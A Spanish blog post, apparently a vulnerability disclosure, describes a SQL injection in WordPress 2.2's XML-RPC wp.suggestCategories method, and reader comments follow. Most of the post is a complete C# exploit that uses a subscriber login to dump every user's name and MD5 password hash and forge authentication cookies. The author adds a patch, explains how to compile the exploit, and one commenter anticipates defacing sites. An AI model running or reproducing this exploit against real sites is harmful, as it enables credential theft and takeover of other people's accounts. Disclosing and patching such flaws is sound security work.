Como comentaba en una entrada anterior, la versión 2.2 y la versión en desarrollo de este CMS también son vulnerables a SQL Injection, aunque es más limitado que el anterior por requerir de un usuario válido.
El error, bastante tonto por cierto, se encuentra en la función wp_suggestCategories, en el archivo xmlrpc.php:
global $wpdb;
$this->escape($args);
$blog_id = (int) $args[0];
$username = $args[1];
$password = $args[2];
$category = $args[3];
if(!$this->login_pass_ok($username, $password)) {
return($this->error);
}
// Only set a limit if one was provided.
$limit = "";
if(!empty($max_results)) {
$limit = "LIMIT {$max_results}";
}
$category_suggestions = $wpdb->get_results("
SELECT cat_ID category_id,
cat_name category_name
FROM {$wpdb->categories}
WHERE cat_name LIKE '{$category}%'
{$limit}
");
return($category_suggestions);
}
Como se puede observar en la porción de código, no se hace una conversión a entero del valor de $max_results, por lo que es posible enviar valores del tipo 0 UNION ALL SELECT user_login, user_pass FROM wp_users. Para que un atacante logre su objetivo, es necesario que éste tenga una cuenta de usuario válida (una cuenta de tipo suscriber basta y sobra) en el sitio víctima.
Preparé un pequeño exploit que devuelve la lista de usuarios con sus respectivas contraseñas en MD5, además también incluye las cookies de autenticación para cada usuario.
using System.Net;
using System.Text;
using System.Xml;
using System.Text.RegularExpressions;
using System.Security.Cryptography;
class Program
{
static void Main(string[] args)
{
string targetUrl = "http://localhost/wp/";
string login = "alex";
string password = "1234";
string data = @"<methodCall>
<methodName>wp.suggestCategories</methodName>
<params>
<param><value>1</value></param>
<param><value>{0}</value></param>
<param><value>{1}</value></param>
<param><value>1</value></param>
<param><value>0 UNION ALL SELECT user_login, user_pass FROM {2}users</value></param>
</params>
</methodCall>";
string cookieHash = GetCookieHash(targetUrl);
using (WebClient request = new WebClient())
{
/* Probar con el prefijo por omisión */
string response = request.UploadString(targetUrl + "xmlrpc.php",
string.Format(data, login, password, "wp_svn_"));
/* Se hace una nueva petición si la consulta anterior falla */
Match match = Regex.Match(response, @"FROM\s+(.*?)categories\s+");
if (match.Success)
{
response = request.UploadString(targetUrl + "xmlrpc.php",
string.Format(data, login, password, match.Groups[1].Value));
}
try
{
XmlDocument doc = new XmlDocument();
doc.LoadXml(response);
XmlNodeList nodes = doc.SelectNodes("//struct/member/value");
if (nodes != null && doc.SelectSingleNode("/methodResponse/fault") == null)
{
string user, pass;
/* Mostrar lista de:
* Usuario md5(contraseña)
* Cookie de Autenticación
*
*/
for (int i = 0; i < nodes.Count / 2 + 1; i += 2)
{
user = nodes.Item(i).InnerText;
pass = nodes.Item(i + 1).InnerText;
Console.WriteLine("Usuario: {0}\tMD5(Contraseña): {1}",
user,
pass);
Console.WriteLine("Cookie: wordpressuser_{0}={1};wordpresspass_{0}={2}\n",
cookieHash,
user,
MD5(pass));
}
}
else
{
Console.WriteLine("Error:\n{0}", response);
}
}
catch (Exception ex)
{
Console.WriteLine("Error:\n" + ex.ToString());
}
}
}
private static string GetCookieHash(string targetUrl)
{
WebRequest request = WebRequest.Create(targetUrl + "wp-login.php?action=logout");
request.Method = "HEAD";
(request as HttpWebRequest).AllowAutoRedirect = false;
WebResponse response = request.GetResponse();
if (response != null)
{
Match match = Regex.Match(response.Headers["Set-Cookie"],
@"wordpress[a-z]+_([a-z\d]{32})",
RegexOptions.IgnoreCase);
if (match.Success)
return match.Groups[1].Value;
}
return string.Empty;
}
public static string MD5(string password)
{
MD5CryptoServiceProvider x = new MD5CryptoServiceProvider();
byte[] bs = Encoding.UTF8.GetBytes(password);
bs = x.ComputeHash(bs);
StringBuilder s = new StringBuilder();
foreach (byte b in bs)
{
s.Append(b.ToString("x2").ToLower());
}
return s.ToString();
}
}
Para corregir este problema, mientras liberan actualizaciones para Wordpress 2.2, es editar el archivo xmlrpc.php y cambiar la línea $max_results = $args[4]; de la función wp_suggestCategories por $max_results = (int) $args[4]; o en su defecto bloquear el acceso a xmlrpc.php.
Actualización: Pueden aplicar el parche oficial (es lo mismo que sugerí)
jejejeje si acabo de recien leer en el trac el parche y de claro ya ponerlo en mi blog...
Saludos
Y Mullenweg cuando te contrata???
Pana, mis respetos
Excelente el exploit y también haber descubierto un bug que seguramente no lo hubiesen encontrado sino dentro de mucho tiempo
@Roq: jeje, dudo mucho que llegue a contratar a alguien como yo
@Alex: Gracias por el comentario.
Como compilo tu exploit?
Puedes usar Visual Studio 2005, Visual C# Express o el compilador de línea de comandos (no probé si compila con mono), en todos los casos necesitas tener instalado el .NET Framework 2.0
Saludos
Esto si que es serio, asi que esas paginas que piden que nos sucribamos seran defaceadas, bien excelente descubrimiento, gracias por el dato.
WTF!!!!!!
Nos invaden los Elites!!!
http://milw0rm.com/exploits/4039
Oigan, estoy empezando con esto, jajajaja nunca creí diria eso, pero bueno, estoy haciendo pruebas en un servidor propio, mi peguta es como puedo copilar el exploit aqui expuesto, osease donde copio y pego y ejecuto este exploit, les agradesco a todos.